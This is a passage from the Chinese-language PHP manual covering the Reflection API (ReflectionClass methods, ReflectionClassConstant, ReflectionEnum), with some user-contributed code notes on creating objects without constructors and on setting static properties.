   */
  protected $foo;
}

class b extends a {
  /**
   * @inject
   * @var dep
   */
  protected $bar;

  public function __construct() {
    echo "CONSTRUCTOR CALLED\n";
  }
}

$ref = new ReflectionClass('b');
$inst = $ref->newInstanceWithoutConstructor();

$list = $ref->getProperties();
foreach($list as $prop){
  /* @var $prop ReflectionProperty */
  $prop->getDocComment(); //grep for @inject and the @vars class name
  $prop->setAccessible(true);
  $prop->setValue($inst, new dep());
}
if($const = $ref->getConstructor()) {
  $constName = $const->getName();
  $inst->{$constName}(); //use call_user_func_array($function, $param_arr); for arguments
}

print_r($inst);
print_r($inst->foo); //property still not accessable

The Output:

CONSTRUCTOR CALLED
b Object
(
    [bar:protected] => dep Object
        (
        )

    [foo:protected] => dep Object
        (
        )

)
PHP Fatal error:  Cannot access protected property b::$foo in diTest.php on line 42
oliver at ananit dot de 24-Nov-2011 03:57
If this method is not available in your version of PHP you can use a trick to create an instance without calling the constructor.
Use reflection to get the properties and default values of the class, and create a fake "serialized" string.

<?php
function createInstanceWithoutConstructor($class){
    $reflector = new ReflectionClass($class);
    $properties = $reflector->getProperties();
    $defaults = $reflector->getDefaultProperties();

    $serealized = "O:" . strlen($class) . ":\"$class\":".count($properties) .':{';
    foreach ($properties as $property){
        $name = $property->getName();
        if($property->isProtected()){
                $name = chr(0) . '*' .chr(0) .$name;
            } elseif($property->isPrivate()){
                $name = chr(0)  . $class.  chr(0).$name;
            }
            $serealized .= serialize($name);
            if(array_key_exists($property->getName(),$defaults) ){
                $serealized .= serialize($defaults[$property->getName()]);
            } else {
                $serealized .= serialize(null);
            }
        }
    $serealized .="}";
    return unserialize($serealized);
}
?>

Example:

<?php
class foo
{
    public $a = 10;
    protected $b = 2;
    private $c = "default";
    protected $d;
    public function __construct(){
        $this->a = null;
        $this->b = null;
        $this->c = "constructed";
        $this->d = 42;
    }
}

var_dump(createInstanceWithoutConstructor('foo'));
?>

Output:
object(foo)#6 (4) {
  ["a"]=>
  int(10)
  ["b":protected]=>
  int(2)
  ["c":"foo":private]=>
  string(7) "default"
  ["d":protected]=>
  NULL
}

I hope this can help someone.
Oliver Anan
alejosimon at gmail 06-Sep-2011 06:41
A good first use for this new method.

It implements a transparent parser constructor argument to achieve 99% reusable component.

<?php

use ReflectionClass ;

trait TSingleton
{
    /**
    *    Constructor.
    */
    protected function __construct() {}

    /**
    *    Drop clone singleton objects.
    */
    protected function __clone() {}

    /**
    *    Gets only one instance.
    *
    *    @params Optional multiple values as arguments for the constructor.
    *    @return Object instance from called class.
    */
    public static function getInstance()
    {
        static $instance = null ;

        if ( ! $instance )
        {
            $ref  = new ReflectionClass( get_called_class() ) ;
            $ctor = $ref->getConstructor() ;

            // Thanks PHP 5.4
            $self = $ref->newInstanceWithoutConstructor() ;

            // The magic.
            $ctor->setAccessible( true ) ;
            $instance = $ctor->invokeArgs( $self, func_get_args() ) ;
        }

        return $instance ;
    }
}

?>


设置静态属性的值

  • ? ReflectionClass::newInstanceWithoutConstructor
  • ReflectionClass::__toString ?
  • PHP Manual
  • ReflectionClass
  • 设置静态属性的值

ReflectionClass::setStaticPropertyValue

(PHP 5 >= 5.1.2, PHP 7, PHP 8)

ReflectionClass::setStaticPropertyValue — 设置静态属性的值

说明

public ReflectionClass::setStaticPropertyValue(string $name, mixed $value): void

设置静态属性的值。

参数

name

属性的名称。

value

属性的值。

返回值

没有返回值。

参见

  • ReflectionClass::getStaticPropertyValue() - 获取静态（static）属性的值

User Contributed Notes

Andrew Jackson 31-Mar-2014 10:53
Calling this method on a static property that is not public will return a ReflectionException stating the property does not exist. This is quite misleading as the property is valid.

class test {
    public static $publicProperty = 'public';
    private static $privateProperty = 'private';

    public static function printProperties() {
        echo self::$publicProperty . "\n";
        echo self::$privateProperty . "\n";
    }
}

$reflectedClass = new \ReflectionClass('test');
$reflectedClass->setStaticPropertyValue('publicProperty', 'foo');
$reflectedClass->setStaticPropertyValue( 'privateProperty', 'bar' );

PHP Fatal error:  Uncaught exception 'ReflectionException' with message 'Class test does not have a property named privateProperty'

If you retrieve the method using the reflection class getProperty method you can circumnavigate this issue

$reflectedProperty = $reflectedClass->getProperty('privateProperty');
$reflectedProperty->setAccessible(true);
$reflectedProperty = $reflectedProperty->setValue('bar');

test::printProperties();
will echo
foo
bar
chuck at manchuck dot com 13-Jul-2012 01:40
It is important to note that calling ReflectionClass::setStaticPropertyValue will not allow you to add new static properties to a class.


返回 ReflectionClass 对象字符串的表示形式

  • ? ReflectionClass::setStaticPropertyValue
  • ReflectionClassConstant ?
  • PHP Manual
  • ReflectionClass
  • 返回 ReflectionClass 对象字符串的表示形式

ReflectionClass::__toString

(PHP 5, PHP 7, PHP 8)

ReflectionClass::__toString — 返回 ReflectionClass 对象字符串的表示形式

说明

public ReflectionClass::__toString(): string

返回 ReflectionClass 对象字符串的表示形式。

参数

此函数没有参数。

返回值

ReflectionClass 实例的字符串表示形式。

示例

Example #1 ReflectionClass::__toString() 示例

<?php
$reflectionClass = new ReflectionClass('Exception');
echo $reflectionClass->__toString();
?>

以上示例会输出：

Class [ <internal:Core> class Exception ] {

  - Constants [0] {
  }

  - Static properties [0] {
  }

  - Static methods [0] {
  }

  - Properties [7] {
    Property [ <default> protected $message ]
    Property [ <default> private $string ]
    Property [ <default> protected $code ]
    Property [ <default> protected $file ]
    Property [ <default> protected $line ]
    Property [ <default> private $trace ]
    Property [ <default> private $previous ]
  }

  - Methods [10] {
    Method [ <internal:Core> final private method __clone ] {
    }

    Method [ <internal:Core, ctor> public method __construct ] {

      - Parameters [3] {
        Parameter #0 [ <optional> $message ]
        Parameter #1 [ <optional> $code ]
        Parameter #2 [ <optional> $previous ]
      }
    }

    Method [ <internal:Core> final public method getMessage ] {
    }

    Method [ <internal:Core> final public method getCode ] {
    }

    Method [ <internal:Core> final public method getFile ] {
    }

    Method [ <internal:Core> final public method getLine ] {
    }

    Method [ <internal:Core> final public method getTrace ] {
    }

    Method [ <internal:Core> final public method getPrevious ] {
    }

    Method [ <internal:Core> final public method getTraceAsString ] {
    }

    Method [ <internal:Core> public method __toString ] {
    }
  }
}

参见

  • ReflectionClass::export() - 导出类
  • __toString()

User Contributed Notes

There are no user contributed notes for this page.


The ReflectionClassConstant class

(PHP 7 >= 7.1.0, PHP 8)

简介

The ReflectionClassConstant class reports information about a class constant.

类摘要

class ReflectionClassConstant implements Reflector {
/* 常量 */
public const int IS_PUBLIC;
public const int IS_PROTECTED;
public const int IS_PRIVATE;
public const int IS_FINAL;
/* 属性 */
public string $name;
public string $class;
/* 方法 */
public __construct(object|string $class, string $constant)
public static export(mixed $class, string $name, bool $return = ?): string
public getAttributes(?string $name = null, int $flags = 0): array
public getDeclaringClass(): ReflectionClass
public getDocComment(): string|false
public getModifiers(): int
public getName(): string
public getValue(): mixed
public isEnumCase(): bool
public isFinal(): bool
public isPrivate(): bool
public isProtected(): bool
public isPublic(): bool
public __toString(): string
}

属性

name

Name of the class constant. Read-only, throws ReflectionException in attempt to write.

class

Name of the class where the class constant is defined. Read-only, throws ReflectionException in attempt to write.

预定义常量

ReflectionClassConstant Modifiers

ReflectionClassConstant::IS_PUBLIC

Indicates public constants. Prior to PHP 7.4.0, the value was 256.

ReflectionClassConstant::IS_PROTECTED

Indicates protected constants. Prior to PHP 7.4.0, the value was 512.

ReflectionClassConstant::IS_PRIVATE

Indicates private constants. Prior to PHP 7.4.0, the value was 1024.

ReflectionClassConstant::IS_FINAL

Indicates final constants. Available as of PHP 8.1.0.

Note:

The values of these constants may change between PHP versions. It is recommended to always use the constants and not rely on the values directly.

更新日志

版本 | 说明
8.0.0 | ReflectionClassConstant::export() was removed.

Table of Contents

  • ReflectionClassConstant::__construct — Constructs a ReflectionClassConstant
  • ReflectionClassConstant::export — Export
  • ReflectionClassConstant::getAttributes — Gets Attributes
  • ReflectionClassConstant::getDeclaringClass — Gets declaring class
  • ReflectionClassConstant::getDocComment — Gets doc comments
  • ReflectionClassConstant::getModifiers — Gets the class constant modifiers
  • ReflectionClassConstant::getName — Get name of the constant
  • ReflectionClassConstant::getValue — Gets value
  • ReflectionClassConstant::isEnumCase — Checks if class constant is an Enum case
  • ReflectionClassConstant::isFinal — Checks if class constant is final
  • ReflectionClassConstant::isPrivate — Checks if class constant is private
  • ReflectionClassConstant::isProtected — Checks if class constant is protected
  • ReflectionClassConstant::isPublic — Checks if class constant is public
  • ReflectionClassConstant::__toString — Returns the string representation of the ReflectionClassConstant object

User Contributed Notes

There are no user contributed notes for this page.


Constructs a ReflectionClassConstant

  • ? ReflectionClassConstant
  • ReflectionClassConstant::export ?
  • PHP Manual
  • ReflectionClassConstant
  • Constructs a ReflectionClassConstant

ReflectionClassConstant::__construct

(PHP 7 >= 7.1.0, PHP 8)

ReflectionClassConstant::__construct — Constructs a ReflectionClassConstant

说明

public ReflectionClassConstant::__construct(object|string $class, string $constant)

Constructs a new ReflectionClassConstant object.

参数

class

Either a string containing the name of the class to reflect, or an object.

constant

The name of the class constant.

错误／异常

Throws an Exception in case the given class constant does not exist.

参见

  • Constructors

User Contributed Notes

There are no user contributed notes for this page.


Export

  • ? ReflectionClassConstant::__construct
  • ReflectionClassConstant::getAttributes ?
  • PHP Manual
  • ReflectionClassConstant
  • Export

ReflectionClassConstant::export

(PHP 7 >= 7.1.0)

ReflectionClassConstant::export — Export

Warning

本函数已自 PHP 7.4.0 起弃用，自 PHP 8.0.0 起移除。强烈建议不要依赖本函数。

说明

public static ReflectionClassConstant::export(mixed $class, string $name, bool $return = ?): string

Exports a reflection.

Warning

本函数还未编写文档，仅有参数列表。

参数

class

导出的反射。

name

The class constant name.

return

设为 true 时返回导出结果，设为 false（默认值）则忽略返回。

返回值

参见

  • ReflectionClassConstant::__toString() - Returns the string representation of the ReflectionClassConstant object

User Contributed Notes

There are no user contributed notes for this page.


Gets Attributes

  • ? ReflectionClassConstant::export
  • ReflectionClassConstant::getDeclaringClass ?
  • PHP Manual
  • ReflectionClassConstant
  • Gets Attributes

ReflectionClassConstant::getAttributes

(PHP 8)

ReflectionClassConstant::getAttributes — Gets Attributes

说明

public ReflectionClassConstant::getAttributes(?string $name = null, int $flags = 0): array

Returns all attributes declared on this class constant as an array of ReflectionAttribute.

参数

name

过滤结果，匹配此类名，仅包含 ReflectionAttribute 实例的属性。

flags

如果提供了 name，则用于确定如何过滤结果的 flag。

默认值为 0，这将导致返回的结果只属于类 name 的属性。

唯一可用的其他选项是使用 ReflectionAttribute::IS_INSTANCEOF，它将改为使用 instanceof 进行过滤。

返回值

Array of attributes, as a ReflectionAttribute object.

示例

Example #1 Basic usage

<?php
#[Attribute]
class Fruit {
}

#[Attribute]
class Red {
}

class Basket {
#[Fruit]
#[Red]
public const APPLE = 'apple';
}

$classConstant = new ReflectionClassConstant('Basket', 'APPLE');
$attributes = $classConstant->getAttributes();
print_r(array_map(fn($attribute) => $attribute->getName(), $attributes));
?>

以上示例会输出：

Array
(
    [0] => Fruit
    [1] => Red
)

Example #2 Filtering results by class name

<?php
#[Attribute]
class Fruit {
}

#[Attribute]
class Red {
}

class Basket {
#[Fruit]
#[Red]
public const APPLE = 'apple';
}

$classConstant = new ReflectionClassConstant('Basket', 'APPLE');
$attributes = $classConstant->getAttributes('Fruit');
print_r(array_map(fn($attribute) => $attribute->getName(), $attributes));
?>

以上示例会输出：

Array
(
    [0] => Fruit
)

Example #3 Filtering results by class name, with inheritance

<?php
interface Color {
}

#[Attribute]
class Fruit {
}

#[Attribute]
class Red implements Color {
}

class Basket {
#[Fruit]
#[Red]
public const APPLE = 'apple';
}

$classConstant = new ReflectionClassConstant('Basket', 'APPLE');
$attributes = $classConstant->getAttributes('Color', ReflectionAttribute::IS_INSTANCEOF);
print_r(array_map(fn($attribute) => $attribute->getName(), $attributes));
?>

以上示例会输出：

Array
(
    [0] => Red
)

参见

  • ReflectionClass::getAttributes() - 获取所有属性
  • ReflectionFunctionAbstract::getAttributes() - Gets Attributes
  • ReflectionParameter::getAttributes() - Gets Attributes
  • ReflectionProperty::getAttributes() - Gets Attributes

User Contributed Notes

There are no user contributed notes for this page.


Gets declaring class

  • ? ReflectionClassConstant::getAttributes
  • ReflectionClassConstant::getDocComment ?
  • PHP Manual
  • ReflectionClassConstant
  • Gets declaring class

ReflectionClassConstant::getDeclaringClass

(PHP 7 >= 7.1.0, PHP 8)

ReflectionClassConstant::getDeclaringClass — Gets declaring class

说明

public ReflectionClassConstant::getDeclaringClass(): ReflectionClass

Gets the declaring class.

参数

此函数没有参数。

返回值

A ReflectionClass object.

User Contributed Notes

There are no user contributed notes for this page.


Gets doc comments

  • ? ReflectionClassConstant::getDeclaringClass
  • ReflectionClassConstant::getModifiers ?
  • PHP Manual
  • ReflectionClassConstant
  • Gets doc comments

ReflectionClassConstant::getDocComment

(PHP 7 >= 7.1.0, PHP 8)

ReflectionClassConstant::getDocComment — Gets doc comments

说明

public ReflectionClassConstant::getDocComment(): string|false

Gets doc comments from a class constant.

参数

此函数没有参数。

返回值

The doc comment if it exists, otherwise false

User Contributed Notes

There are no user contributed notes for this page.


Gets the class constant modifiers

  • ? ReflectionClassConstant::getDocComment
  • ReflectionClassConstant::getName ?
  • PHP Manual
  • ReflectionClassConstant
  • Gets the class constant modifiers

ReflectionClassConstant::getModifiers

(PHP 7 >= 7.1.0, PHP 8)

ReflectionClassConstant::getModifiers — Gets the class constant modifiers

说明

public ReflectionClassConstant::getModifiers(): int

Returns a bitfield of the access modifiers for this class constant.

参数

此函数没有参数。

返回值

A numeric representation of the modifiers. The actual meaning of these modifiers are described under predefined constants.

参见

  • Reflection::getModifierNames() - 获取修饰符的名称

User Contributed Notes

There are no user contributed notes for this page.


Get name of the constant

  • ? ReflectionClassConstant::getModifiers
  • ReflectionClassConstant::getValue ?
  • PHP Manual
  • ReflectionClassConstant
  • Get name of the constant

ReflectionClassConstant::getName

(PHP 7 >= 7.1.0, PHP 8)

ReflectionClassConstant::getName — Get name of the constant

说明

public ReflectionClassConstant::getName(): string

参数

此函数没有参数。

返回值

Returns the constant's name.

更新日志

版本 | 说明
8.1.0 | Throws an Error in case the name property has not been initialized. Previously, the method returned false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Gets value

  • ? ReflectionClassConstant::getName
  • ReflectionClassConstant::isEnumCase ?
  • PHP Manual
  • ReflectionClassConstant
  • Gets value

ReflectionClassConstant::getValue

(PHP 7 >= 7.1.0, PHP 8)

ReflectionClassConstant::getValue — Gets value

说明

public ReflectionClassConstant::getValue(): mixed

Gets the class constant's value.

参数

此函数没有参数。

返回值

The value of the class constant.

User Contributed Notes

There are no user contributed notes for this page.


Checks if class constant is an Enum case

  • ? ReflectionClassConstant::getValue
  • ReflectionClassConstant::isFinal ?
  • PHP Manual
  • ReflectionClassConstant
  • Checks if class constant is an Enum case

ReflectionClassConstant::isEnumCase

(PHP 8 >= 8.1.0)

ReflectionClassConstant::isEnumCase — Checks if class constant is an Enum case

说明

public ReflectionClassConstant::isEnumCase(): bool

Checks if the class constant is an Enum case.

参数

此函数没有参数。

返回值

true if the class constant is an Enum case; false otherwise.

示例

Example #1 ReflectionClassConstant::isEnumCase() example

Distinguish between Enum cases and regular class constants.

<?php
enum Status
{
const BORING_CONSTANT = 'test';
const ENUM_VALUE = Status::PUBLISHED;

case DRAFT;
case PUBLISHED;
case ARCHIVED;
}

$reflection = new ReflectionEnum(Status::class);
foreach ($reflection->getReflectionConstants() as $constant) {
echo "{$constant->name} is ",
$constant->isEnumCase() ? "an enum case" : "a regular class constant",
PHP_EOL;
}
?>

以上示例会输出：

BORING_CONSTANT is a regular class constant
ENUM_VALUE is a regular class constant
DRAFT is an enum case
PUBLISHED is an enum case
ARCHIVED is an enum case

参见

  • ReflectionEnum

User Contributed Notes

There are no user contributed notes for this page.


Checks if class constant is final

  • ? ReflectionClassConstant::isEnumCase
  • ReflectionClassConstant::isPrivate ?
  • PHP Manual
  • ReflectionClassConstant
  • Checks if class constant is final

ReflectionClassConstant::isFinal

(PHP 8 >= 8.1.0)

ReflectionClassConstant::isFinal — Checks if class constant is final

说明

public ReflectionClassConstant::isFinal(): bool

Checks if the class constant is final.

参数

此函数没有参数。

返回值

true if the class constant is final, otherwise false

参见

  • ReflectionClassConstant::isPublic() - Checks if class constant is public
  • ReflectionClassConstant::isPrivate() - Checks if class constant is private
  • ReflectionClassConstant::isProtected() - Checks if class constant is protected

User Contributed Notes

There are no user contributed notes for this page.


Checks if class constant is private

  • ? ReflectionClassConstant::isFinal
  • ReflectionClassConstant::isProtected ?
  • PHP Manual
  • ReflectionClassConstant
  • Checks if class constant is private

ReflectionClassConstant::isPrivate

(PHP 7 >= 7.1.0, PHP 8)

ReflectionClassConstant::isPrivate — Checks if class constant is private

说明

public ReflectionClassConstant::isPrivate(): bool

Checks if the class constant is private.

参数

此函数没有参数。

返回值

true if the class constant is private, otherwise false

参见

  • ReflectionClassConstant::isFinal() - Checks if class constant is final
  • ReflectionClassConstant::isPublic() - Checks if class constant is public
  • ReflectionClassConstant::isProtected() - Checks if class constant is protected

User Contributed Notes

There are no user contributed notes for this page.


Checks if class constant is protected

  • ? ReflectionClassConstant::isPrivate
  • ReflectionClassConstant::isPublic ?
  • PHP Manual
  • ReflectionClassConstant
  • Checks if class constant is protected

ReflectionClassConstant::isProtected

(PHP 7 >= 7.1.0, PHP 8)

ReflectionClassConstant::isProtected — Checks if class constant is protected

说明

public ReflectionClassConstant::isProtected(): bool

Checks if the class constant is protected.

参数

此函数没有参数。

返回值

true if the class constant is protected, otherwise false

参见

  • ReflectionClassConstant::isFinal() - Checks if class constant is final
  • ReflectionClassConstant::isPublic() - Checks if class constant is public
  • ReflectionClassConstant::isPrivate() - Checks if class constant is private

User Contributed Notes

There are no user contributed notes for this page.


Checks if class constant is public

  • ? ReflectionClassConstant::isProtected
  • ReflectionClassConstant::__toString ?
  • PHP Manual
  • ReflectionClassConstant
  • Checks if class constant is public

ReflectionClassConstant::isPublic

(PHP 7 >= 7.1.0, PHP 8)

ReflectionClassConstant::isPublic — Checks if class constant is public

说明

public ReflectionClassConstant::isPublic(): bool

Checks if the class constant is public.

参数

此函数没有参数。

返回值

true if the class constant is public, otherwise false

参见

  • ReflectionClassConstant::isFinal() - Checks if class constant is final
  • ReflectionClassConstant::isPrivate() - Checks if class constant is private
  • ReflectionClassConstant::isProtected() - Checks if class constant is protected

User Contributed Notes

There are no user contributed notes for this page.


Returns the string representation of the ReflectionClassConstant object

  • ? ReflectionClassConstant::isPublic
  • ReflectionEnum ?
  • PHP Manual
  • ReflectionClassConstant
  • Returns the string representation of the ReflectionClassConstant object

ReflectionClassConstant::__toString

(PHP 7 >= 7.1.0, PHP 8)

ReflectionClassConstant::__toString — Returns the string representation of the ReflectionClassConstant object

说明

public ReflectionClassConstant::__toString(): string

Returns the string representation of the ReflectionClassConstant object.

参数

此函数没有参数。

返回值

A string representation of this ReflectionClassConstant instance.

参见

  • ReflectionClassConstant::export() - Export
  • __toString()

User Contributed Notes

There are no user contributed notes for this page.


ReflectionEnum 类

(PHP 8 >= 8.1.0)

简介

ReflectionEnum 类报告有关 Enum 的信息。

类摘要

class ReflectionEnum extends ReflectionClass {
/* 继承的常量 */
public const int ReflectionClass::IS_IMPLICIT_ABSTRACT;
public const int ReflectionClass::IS_EXPLICIT_ABSTRACT;
public const int ReflectionClass::IS_FINAL;
public const int ReflectionClass::IS_READONLY;
/* 继承的属性 */
public string $name;
/* 方法 */
public __construct(object|string $objectOrClass)
public getBackingType(): ?ReflectionNamedType
public getCase(string $name): ReflectionEnumUnitCase
public getCases(): array
public hasCase(string $name): bool
public isBacked(): bool
/* 继承的方法 */
public static ReflectionClass::export(mixed $argument, bool $return = false): string
public ReflectionClass::getAttributes(?string $name = null, int $flags = 0): array
public ReflectionClass::getConstant(string $name): mixed
public ReflectionClass::getConstants(?int $filter = null): array
public ReflectionClass::getConstructor(): ?ReflectionMethod
public ReflectionClass::getDefaultProperties(): array
public ReflectionClass::getDocComment(): string|false
public ReflectionClass::getEndLine(): int|false
public ReflectionClass::getExtension(): ?ReflectionExtension
public ReflectionClass::getExtensionName(): string|false
public ReflectionClass::getFileName(): string|false
public ReflectionClass::getInterfaceNames(): array
public ReflectionClass::getInterfaces(): array
public ReflectionClass::getMethod(string $name): ReflectionMethod
public ReflectionClass::getMethods(?int $filter = null): array
public ReflectionClass::getModifiers(): int
public ReflectionClass::getName(): string
public ReflectionClass::getNamespaceName(): string
public ReflectionClass::getParentClass(): ReflectionClass|false
public ReflectionClass::getProperties(?int $filter = null): array
public ReflectionClass::getProperty(string $name): ReflectionProperty
public ReflectionClass::getReflectionConstant(string $name): ReflectionClassConstant|false
public ReflectionClass::getReflectionConstants(?int $filter = null): array
public ReflectionClass::getShortName(): string
public ReflectionClass::getStartLine(): int|false
public ReflectionClass::getStaticProperties(): array
public ReflectionClass::getStaticPropertyValue(string $name, mixed &$def_value = ?): mixed
public ReflectionClass::getTraitAliases(): array
public ReflectionClass::getTraitNames(): array
public ReflectionClass::getTraits(): array
public ReflectionClass::hasConstant(string $name): bool
public ReflectionClass::hasMethod(string $name): bool
public ReflectionClass::hasProperty(string $name): bool
public ReflectionClass::implementsInterface(ReflectionClass|string $interface): bool
public ReflectionClass::inNamespace(): bool
public ReflectionClass::isAbstract(): bool
public ReflectionClass::isAnonymous(): bool
public ReflectionClass::isCloneable(): bool
public ReflectionClass::isEnum(): bool
public ReflectionClass::isFinal(): bool
public ReflectionClass::isInstance(object $object): bool
public ReflectionClass::isInstantiable(): bool
public ReflectionClass::isInterface(): bool
public ReflectionClass::isInternal(): bool
public ReflectionClass::isIterable(): bool
public ReflectionClass::isReadOnly(): bool
public ReflectionClass::isSubclassOf(ReflectionClass|string $class): bool
public ReflectionClass::isTrait(): bool
public ReflectionClass::isUserDefined(): bool
public ReflectionClass::newInstance(mixed ...$args): object
public ReflectionClass::newInstanceArgs(array $args = []): ?object
public ReflectionClass::newInstanceWithoutConstructor(): object
public ReflectionClass::setStaticPropertyValue(string $name, mixed $value): void
public ReflectionClass::__toString(): string
}

参见

  • 枚举

Table of Contents

  • ReflectionEnum::__construct — 实例化 ReflectionEnum 对象
  • ReflectionEnum::getBackingType — 获取枚举回退的类型
  • ReflectionEnum::getCase — 返回指定的枚举条目
  • ReflectionEnum::getCases — 返回枚举中的所有条目的清单
  • ReflectionEnum::hasCase — 在枚举上检测条目
  • ReflectionEnum::isBacked — 检测 Enum 是否为回退（Backed）Enum

User Contributed Notes

There are no user contributed notes for this page.


实例化 ReflectionEnum 对象

  • ? ReflectionEnum
  • ReflectionEnum::getBackingType ?
  • PHP Manual
  • ReflectionEnum
  • 实例化 ReflectionEnum 对象

ReflectionEnum::__construct

(PHP 8 >= 8.1.0)

ReflectionEnum::__construct — 实例化 ReflectionEnum 对象

说明

public ReflectionEnum::__construct(object|string $objectOrClass)

参数

objectOrClass

枚举实例或名称。

User Contributed Notes

There are no user contributed notes for this page.


获取枚举回退的类型

  • ? ReflectionEnum::__construct
  • ReflectionEnum::getCase ?
  • PHP Manual
  • ReflectionEnum
  • 获取枚举回退的类型

ReflectionEnum::getBackingType

(PHP 8 >= 8.1.0)

ReflectionEnum::getBackingType — 获取枚举回退的类型

说明

public ReflectionEnum::getBackingType(): ?ReflectionNamedType

如果一个枚举是回退枚举，该方法会根据枚举回退的类型， 返回 ReflectionType 的实例。 如果不是个回退枚举，会返回 null。

参数

此函数没有参数。

返回值

ReflectionNamedType 的实例。 如果 Enum 没有回退的类型时，返回 null。

更新日志

版本 | 说明
8.2.0 | 返回类型现在声明为 ?ReflectionNamedType。之前声明为 ?ReflectionType。

示例

Example #1 ReflectionEnum::getBackingType() 示例

<?php
enum Suit: string
{
case Hearts = 'H';
case Diamonds = 'D';
case Clubs = 'C';
case Spades = 'S';
}

$rEnum = new ReflectionEnum(Suit::class);

$rBackingType = $rEnum->getBackingType();

var_dump((string)$rBackingType);
?>

以上示例会输出：

string(6) "string"

参见

  • 枚举
  • ReflectionEnum::isBacked() - 检测 Enum 是否为回退（Backed）Enum

User Contributed Notes

There are no user contributed notes for this page.


返回指定的枚举条目

  • ? ReflectionEnum::getBackingType
  • ReflectionEnum::getCases ?
  • PHP Manual
  • ReflectionEnum
  • 返回指定的枚举条目

ReflectionEnum::getCase

(PHP 8 >= 8.1.0)

ReflectionEnum::getCase — 返回指定的枚举条目

说明

public ReflectionEnum::getCase(string $name): ReflectionEnumUnitCase

根据名称返回指定枚举条目的反射对象。 如果请求的条目未定义，将抛出 ReflectionException。

参数

name

要获取的条目名称。

返回值

ReflectionEnumUnitCase 或 ReflectionEnumBackedCase 的实例，具体视情况而定。

示例

Example #1 ReflectionEnum::getCase() 示例

<?php
enum Suit
{
case Hearts;
case Diamonds;
case Clubs;
case Spades;
}

$rEnum = new ReflectionEnum(Suit::class);

$rCase = $rEnum->getCase('Clubs');

var_dump($rCase->getValue());
?>

以上示例会输出：

enum(Suit::Clubs)

参见

  • 枚举
  • ReflectionEnum::getCases() - 返回枚举中的所有条目的清单
  • ReflectionEnum::hasCase() - 在枚举上检测条目
  • ReflectionEnum::isBacked() - 检测 Enum 是否为回退（Backed）Enum

User Contributed Notes

There are no user contributed notes for this page.


返回枚举中的所有条目的清单

  • ? ReflectionEnum::getCase
  • ReflectionEnum::hasCase ?
  • PHP Manual
  • ReflectionEnum
  • 返回枚举中的所有条目的清单

ReflectionEnum::getCases

(PHP 8 >= 8.1.0)

ReflectionEnum::getCases — 返回枚举中的所有条目的清单

说明

public ReflectionEnum::getCases(): array

每个枚举都能包括零或多个条目。该方法能获取所有定义的条目， 顺序为语法中的顺序（也就是源码中出现的顺序）。

参数

此函数没有参数。

返回值

数组，包含了 Enum 的反射对象，包含每一个枚举条目。 对于 Unit Enum，它们都会是 ReflectionEnumUnitCase 的实例。 对于回退枚举，它们都会是 ReflectionEnumBackedCase 的实例。

示例

Example #1 ReflectionEnum::getCases() 示例

<?php
enum Suit
{
case Hearts;
case Diamonds;
case Clubs;
case Spades;
}

$rEnum = new ReflectionEnum(Suit::class);

$cases = $rEnum->getCases();

foreach ($cases as $rCase) {
var_dump($rCase->getValue());
}
?>

以上示例会输出：

enum(Suit::Hearts)
enum(Suit::Diamonds)
enum(Suit::Clubs)
enum(Suit::Spades)

参见

  • 枚举
  • ReflectionEnum::getCase() - 返回指定的枚举条目
  • ReflectionEnum::isBacked() - 检测 Enum 是否为回退（Backed）Enum

User Contributed Notes

There are no user contributed notes for this page.


在枚举上检测条目

  • ? ReflectionEnum::getCases
  • ReflectionEnum::isBacked ?
  • PHP Manual
  • ReflectionEnum
  • 在枚举上检测条目

ReflectionEnum::hasCase

(PHP 8 >= 8.1.0)

ReflectionEnum::hasCase — 在枚举上检测条目

说明

public ReflectionEnum::hasCase(string $name): bool

检测在枚举是是否定义指定的条目。

参数

name

要检测的条目。

返回值

条目已定义时返回 true，没有时返回 false。

示例

Example #1 ReflectionEnum::hasCase() 示例

<?php
enum Suit
{
case Hearts;
case Diamonds;
case Clubs;
case Spades;
}

$rEnum = new ReflectionEnum(Suit::class);

var_dump($rEnum->hasCase('Hearts'));
var_dump($rEnum->hasCase('Horseshoes'));
?>

以上示例会输出：

bool(true)
bool(false)

参见

  • 枚举
  • ReflectionEnum::getCase() - 返回指定的枚举条目
  • ReflectionEnum::getCases() - 返回枚举中的所有条目的清单

User Contributed Notes

There are no user contributed notes for this page.


检测 Enum 是否为回退（Backed）Enum

  • ? ReflectionEnum::hasCase
  • ReflectionEnumUnitCase ?
  • PHP Manual
  • ReflectionEnum
  • 检测 Enum 是否为回退（Backed）Enum

ReflectionEnum::isBacked

(PHP 8 >= 8.1.0)

ReflectionEnum::isBacked — 检测 Enum 是否为回退（Backed）Enum

说明

public ReflectionEnum::isBacked(): bool

回退 Enum 是具有本地 string 和 int 回退标量值。 并非所有枚举都是回退的。

参数

此函数没有参数。

返回值

如果枚举具有回退标量，返回 true，否则返回 false。

示例

Example #1 ReflectionEnum::isBacked() 示例

<?php
enum Suit
{
case Hearts;
case Diamonds;
case Clubs;
case Spades;
}

enum BackedSuit: string
{
case Hearts = 'H';
case Diamonds = 'D';
case Clubs = 'C';
case Spades = 'S';
}

var_dump((new ReflectionEnum(Suit::class))->isBacked());
var_dump((new ReflectionEnum(BackedSuit::class))->isBacked());
?>

以上示例会输出：

bool(false)
bool(true)

参见

  • 枚举
  • ReflectionEnum::getBackingType() - 获取枚举回退的类型

User Contributed Notes

There are no user contributed notes for this page.


ReflectionEnumUnitCase 类

(PHP 8 >= 8.1.0)

简介

ReflectionEnumUnitCase 类报告了 Enum 单元条目， 不包含对应的标量。

类摘要

class ReflectionEnumUnitCase extends ReflectionClassConstant {
/* 继承的常量 */
public const int ReflectionClassConstant::IS_PUBLIC;
public const int ReflectionClassConstant::IS_PROTECTED;
public const int ReflectionClassConstant::IS_PRIVATE;
public const int ReflectionClassConstant::IS_FINAL;
/* 继承的属性 */
public string $name;
public string $class;
/* 方法 */
public __construct(object|string $class, string $constant)
public getEnum(): ReflectionEnum
public getValue(): UnitEnum
/* 继承的方法 */
public static ReflectionClassConstant::export(mixed $class, string $name, bool $return = ?): string
public ReflectionClassConstant::getAttributes(?string $name = null, int $flags = 0): array
public ReflectionClassConstant::getDeclaringClass(): ReflectionClass
public ReflectionClassConstant::getDocComment(): string|false
public ReflectionClassConstant::getModifiers(): int
public ReflectionClassConstant::getName(): string
public ReflectionClassConstant::getValue(): mixed
public ReflectionClassConstant::isEnumCase(): bool
public ReflectionClassConstant::isFinal(): bool
public ReflectionClassConstant::isPrivate(): bool
public ReflectionClassConstant::isProtected(): bool
public ReflectionClassConstant::isPublic(): bool
public ReflectionClassConstant::__toString(): string
}

参见

  • 枚举
